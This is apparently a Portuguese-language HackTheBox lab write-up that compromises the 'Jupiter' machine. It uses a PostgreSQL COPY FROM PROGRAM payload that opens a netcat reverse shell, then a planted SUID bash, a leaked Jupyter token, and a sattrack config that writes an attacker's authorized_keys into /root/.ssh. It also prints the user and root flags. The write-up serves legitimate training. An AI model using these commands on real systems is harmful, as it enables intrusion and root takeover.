HackTheBox - Jupiter Writeup
Enumaration
Nmap
Vamos usar o nmap para descobrir quais as portas estão abertas e quais serviços estão disponíveis.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(c4st13l㉿0x00)-[~/HTB/Jupiter]
└─$ cat nmap/initial-scan.nmap
# Nmap 7.93 scan initiated Mon Jun 5 22:23:54 2023 as: nmap -v -sV -Pn -sC -T4 -oA nmap/initial-scan 10.10.11.216
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ac5bbe792dc97a00ed9ae62b2d0e9b32 (ECDSA)
|_ 256 6001d7db927b13f0ba20c6c900a71b41 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Temos duas portas abertas, 22 SSH e 80 HTTP. Precisamos adicionar o domínio jupiter.htb ao arquivo /etc/hosts.
1
2
/etc/host
10.10.11.216 jupiter.htb
Port 80 HTTP (nginx 1.18.0)
Na página principal não há nada de interessante.
Gobuster
Usando o gobuster para tentar descobrir algum arquivo interessante, porém não há nada que nos ajude aqui.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(c4st13l㉿0x00)-[~/HTB/Jupiter]
└─$ gobuster dir -u http://jupiter.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt -t60 -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://jupiter.htb/
[+] Method: GET
[+] Threads: 60
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 19680]
/contact.html (Status: 200) [Size: 10141]
/. (Status: 200) [Size: 19680]
/about.html (Status: 200) [Size: 12613]
/services.html (Status: 200) [Size: 11969]
/portfolio.html (Status: 200) [Size: 11913]
Progress: 17129 / 17130 (99.99%)
===============================================================
Finished
===============================================================
Ao enumerar o subdomínio, foi possível encontrar um chamado kiosk.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(c4st13l㉿0x00)-[~/HTB/Jupiter]
└─$ gobuster vhost -u jupiter.htb -w /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain -t60
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://jupiter.htb
[+] Method: GET
[+] Threads: 60
[+] Wordlist: /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/06/10 18:58:35 Starting gobuster in VHOST enumeration mode
===============================================================
Found: kiosk.jupiter.htb Status: 200 [Size: 34390]
Temos que adicionar o subdomínio ao no arquivo de hosts.
1
2
/etc/hosts
10.10.11.216 jupiter.htb kiosk.jupiter.htb
kiosk
Na página inicial vemos uma informação muito importante, o tipo de banco de dados e a query.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
{
"datasource": {
"type": "postgres",
"uid": "YItSLg-Vz"
},
"fieldConfig": {
"defaults": {
"mappings": [],
"thresholds": {
"mode": "percentage",
"steps": [
{
"color": "green",
"value": null
},
{
"color": "orange",
"value": 70
},
{
"color": "red",
"value": 85
}
]
},
"color": {
"mode": "thresholds"
}
},
"overrides": []
},
"gridPos": {
"h": 8,
"w": 12,
"x": 12,
"y": 15
},
"id": 22,
"options": {
"reduceOptions": {
"values": false,
"calcs": [
"lastNotNull"
],
"fields": ""
},
"orientation": "auto",
"textMode": "auto",
"colorMode": "value",
"graphMode": "area",
"justifyMode": "auto"
},
"pluginVersion": "9.5.2",
"targets": [
{
"datasource": {
"type": "postgres",
"uid": "YItSLg-Vz"
},
"editorMode": "code",
"format": "table",
"hide": false,
"rawQuery": true,
"rawSql": "select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';",
"refId": "A",
"sql": {
"columns": [
{
"parameters": [],
"type": "function"
}
],
"groupBy": [
{
"property": {
"type": "string"
},
"type": "groupBy"
}
],
"limit": 50
}
}
],
"title": "Number of Moons",
"type": "stat"
}
Burp
Vamos usar o burp para facilitar a visualização, podemos manipular a query, conseguimos ver a quantidade de lua que cada planeta possui, nesse caso vemos que Uranus possui 23 luas.
Quando escolhemos Jupiter ele nos retorna a quantidade de lua que existe, 77 luas.
Exploitation
Command Injection CVE-2019-9193
postgresql
1
2
3
4
DROP TABLE IF EXISTS cmd_exec
CREATE TABLE cmd_exec(cmd_output text)
COPY cmd_exec FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.2 9001 >/tmp/f';
SELEC * from cmd_exec
Iniciamos nosso netcat para receber uma conexão.
Toda hora perdemos a nossa shell, por isso devemos criar uma chave ssh, para isso vamos usar ssh-keygen. A seguir criamos o arquivo authorized_keys e copiamos o id_rsa.pub para dentro de authorized_keys.
Após isso vamos ter os seguintes arquivos.
1
2
3
4
5
6
7
8
postgres@jupiter:/var/lib/postgresql/.ssh$ ls -la
ls -la
total 20
drwx------ 2 postgres postgres 4096 Oct 17 13:57 .
drwxr-xr-x 6 postgres postgres 4096 Oct 17 14:03 ..
-rw------- 1 postgres postgres 569 Oct 17 13:57 authorized_keys
-rw------- 1 postgres postgres 2655 Oct 17 13:54 id_rsa
-rw------- 1 postgres postgres 570 Oct 17 13:54 id_rsa.pub
1
2
postgres@jupiter:/var/lib/postgresql/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVjpp2EZOXJBr8xLM+/My0+UqBB/Elj5tiJq+qpPr7I47dQwtLCqVdfSg+xIwBDIF+Y3Pm5nNAyuFuhKw0CoylcDwn9Ttm6S/Hl0zSULXpOzG+OpRuS27Tdkm615Tcj4Oua6If+6NEWsyTiewS+WkY5uwGFcwHSH2IV27zMFFDbiu2tnFcw7sSlG5HpgeRA5IsLTzLOsZGMw5bgYObPhaV30rztmoC00C0di4dISQUpUx0RIrQGyqkWRx2EfpziFwJWZaNj/z0i66xKEDMgpnScVGzA0/97SZZb4CNHYo6P0LE2Y2iwHUG/BJLcydnNrzd2+J8RCnEoJNR5y7gjDNN7MFYfFgcW3Gm07fAkCxXvYhlbbahTdt1Ebxp1GvoSXGFnCfSB4ZnYmmJo2NenW+oUGkQxYkY0yZBcexxbV+hgBKMyF0XjwZjj3cro1r42eJ9urRlUUHLWJmuPwpFkgjPIxV//LVSaAx1K+daXJ37qPknelq5GsK+hE9kbK4fKsU= postgres@jupiter
1
postgres@jupiter:/var/lib/postgresql/.ssh$ echo -n "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVjpp2EZOXJBr8xLM+/My0+UqBB/Elj5tiJq+qpPr7I47dQwtLCqVdfSg+xIwBDIF+Y3Pm5nNAyuFuhKw0CoylcDwn9Ttm6S/Hl0zSULXpOzG+OpRuS27Tdkm615Tcj4Oua6If+6NEWsyTiewS+WkY5uwGFcwHSH2IV27zMFFDbiu2tnFcw7sSlG5HpgeRA5IsLTzLOsZGMw5bgYObPhaV30rztmoC00C0di4dISQUpUx0RIrQGyqkWRx2EfpziFwJWZaNj/z0i66xKEDMgpnScVGzA0/97SZZb4CNHYo6P0LE2Y2iwHUG/BJLcydnNrzd2+J8RCnEoJNR5y7gjDNN7MFYfFgcW3Gm07fAkCxXvYhlbbahTdt1Ebxp1GvoSXGFnCfSB4ZnYmmJo2NenW+oUGkQxYkY0yZBcexxbV+hgBKMyF0XjwZjj3cro1r42eJ9urRlUUHLWJmuPwpFkgjPIxV//LVSaAx1K+daXJ37qPknelq5GsK+hE9kbK4fKsU= postgres@jupiter" > authorized_keys
Agora copiamos o arquivo id_rsa para nossa máquina local, a seguir temos que dar permissão 600 para o arquivo e depois fazer a autenticação usando a chave privada.
1
2
chmod 600 id_rsa
ssh -i id_rsa postgres@jupiter.htb
Lateral Movement
Primeiramente vamos fazer upload do binário pspy32 para a vitima, podemos fazer isso usando um servidor python.
Através do monitoramento foi possível ver algumas informações importantes.
Analisando o diretório /dev/shm vemos 3 arquivos, porém temos permissão de escrita no arquivo network-simulation.yml.
1
2
3
4
5
6
7
postgres@jupiter:/dev/shm$ ls -la
total 32
drwxrwxrwt 3 root root 100 Oct 17 14:54 .
drwxr-xr-x 20 root root 4020 Oct 17 10:53 ..
-rw-rw-rw- 1 juno juno 815 Mar 7 2023 network-simulation.yml
-rw------- 1 postgres postgres 26976 Oct 17 10:53 PostgreSQL.2631638662
drwxrwxr-x 3 juno juno 100 Oct 17 14:54 shadow.data
Primeiro copiamos o bash para dentro da pasta /tmp.
A seguir vemos que o comando foi executado.
Então damos permissão para o arquivo.
Agora somos o usuário juno.
1
2
3
postgres@jupiter:/dev/shm$ /tmp/bash -p
bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
Precisamos melhorar a shell, vamos começar gerando nossa chave, desta vez temos que fazer isso em nossa máquina local.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(c4st13l㉿0x00)-[~/HTB/Jupiter/ssh]
└─$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/c4st13l/.ssh/id_rsa): //home/c4st13l/HTB/Jupiter/ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in //home/c4st13l/HTB/Jupiter/ssh/id_rsa
Your public key has been saved in //home/c4st13l/HTB/Jupiter/ssh/id_rsa.pub
The key fingerprint is:
SHA256:0dX1wsRCF4tveofGNYL9JmozVOMPhKjKzpmJ/bRysqc c4st13l@0x00
The key's randomart image is:
+---[RSA 3072]----+
| .oo+o.|
| . ..=o..|
| . o o.+ .|
| o .o= . |
| S .+o+..|
| . . *oo.|
| . .. . ..Bo.|
| +==o. +.ooo |
| ..EOo ..o |
+----[SHA256]-----+
Copiamos todo o conteúdo do arquivo id_rsa.pub, e adicionamos dentro do arquivo authorized_keys.
1
bash-5.1$ echo -n "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCgNtPRnY4e0dICMsHbpc8m+lY6KzarHzMHIxToW7jinpVYG0ozZmIFzBuXIvslyf3dhdcn4cw2sSkS6kdAzZZZghPVOfqTpQJ0EdqL9pzffH+2NZihxYdIgIQDrHYsKQ6gR1pAYOj2uA69fs8jNDELv+VWbUri9IOtlOhT4rbmFTCmdwrDpFmRkMx4DRrx7qlG69Tz8dtbG3EX+Ttn4KTPtHOIyXSJrEDvDnb/w+xQgnGKaTsXXkqpO253U2BmJTZv5UlUhsndcO7Bt2KS64ePkyFLmKFeM3eepTzX0kH+S2a+obXZsTyzURio0rjlxePXFlbR1tpz3eu/PRNKsI2qqx41Ff03I6E3B0eDY36wWLEjaO6Q9m7zPVew6lCE2QIf2rD0N9TeHqXdPSPlncUzx7Tz9ATKRM71ZUOglG2/RX6ZPMqStN2d578IOjGlxbwa4u6Uu4vuEwF+NsQ42hapGupmG4SM9CuTJWJSoK+rLb/PYokoxm9VEKBAzzKl4d0= c4st13l@0x00" > authorized_keys
Em nossa máquina local damos permissão 600 no id_rsa.
1
2
┌──(c4st13l㉿0x00)-[~/HTB/Jupiter/ssh]
└─$ chmod 600 id_rsa
A seguir basta logar.
1
2
┌──(c4st13l㉿0x00)-[~/HTB/Jupiter/ssh]
└─$ ssh juno@10.10.11.216 -i id_rsa
Flag User
1
2
juno@jupiter:~$ cat user.txt
2ace5f2ef059526a632bb9a5da8b0a63
Shell com Jovian
O usuário faz parte de um grupo chamado science.
1
2
juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
Voltamos a usar o pspy32 para analisar os processos, e vemos um jupyter-notebook sendo executado. O notebook Jupyter é uma plataforma de computação interativa baseada na web. É frequentemente usado para aprendizado de máquina, ciência de dados, etc. Ele é executado localmente em 127.0.0.1:8888 por padrão.
Ao analisar as portas abertas na máquina local, vemos que realmente existe uma porta 8888 aberta.
Port Forwarding com SSH
Para ter acesso a porta 8888, precisamos fazer port forwarding, para isso vamos usar o seguinte comando:
1
ssh -L 8888:127.0.0.1:8888 juno@10.10.11.216 -i id_rsa
Agora temos acesso a porta 8888.
Dentro do diretório logs procuramos por token.
1
juno@jupiter:/opt/solar-flares/logs$ cat * | grep -i "token"
Com o valor do token conseguimos acessar a página, a seguir vamos acessar o arquivo flares.ipynb.
Podemos executar comandos, use o seguinte comando para receber uma conexão no netcat.
Agora somos usuário Jovian.
Privilege Escalation
O usuário Jovian possui permissão para executar sattrack como root.
1
2
3
4
5
6
7
8
9
jovian@jupiter:/opt/solar-flares$ sudo -l
sudo -l
Matching Defaults entries for jovian on jupiter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
Ao tentar executar o sattrack ele retorna o seguinte erro:
1
2
Satellite Tracking System
Configuration file has not been found. Please try again!
Então vamos analisar com strace.
1
jovian@jupiter:~$ strace /usr/local/bin/sattrack
Ele está procurando por um arquivo config.json no diretório /tmp/.
Podemos procurar esse arquivo usando find, e conseguimos encontrar, agora precisamos copiar /usr/local/share/sattrack/config.json para /tmp/.
1
2
3
4
5
jovian@jupiter:/tmp$ find / -name config.json 2>/dev/null
find / -name config.json 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json
/tmp/config.json
Vamos fazer as seguintes alterações no arquivo, o que estamos fazendo aqui é copiar o arquivo file:////root/root.txt para dentro de “tleroot”: “/tmp/”, a seguir é só executar sattrack como root.
1
2
3
4
5
6
7
8
9
10
11
"tleroot": "/tmp/",
"tlefile": "root.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"file:////root/root.txt",
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
E temos a nossa flag.
1
2
jovian@jupiter:/tmp$ cat root.txt
fb6d7c9d4ee547ccb5638101e069ae15
Shell com root
Para ter uma shell com root temos que fazer as seguintes alterações no arquivo config.json.
1
2
3
4
5
6
7
8
9
jovian@jupiter:/tmp$ cat config.json
{
"tleroot": "/root/.ssh/",
"tlefile": "authorized_keys",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://10.10.14.4:8000/authorized_keys",
Usando um servidor python para que o upload do arquivo seja feito.
Por fim acessamos via ssh usando id_rsa.
1
2
┌──(c4st13l㉿0x00)-[~/HTB/Jupiter/ssh]
└─$ ssh -i id_rsa root@jupiter.htb
Root Flag
1
2
3
4
root@jupiter:~# id
uid=0(root) gid=0(root) groups=0(root)
root@jupiter:~# cat root.txt
fb6d7c9d4ee547ccb5638101e069ae15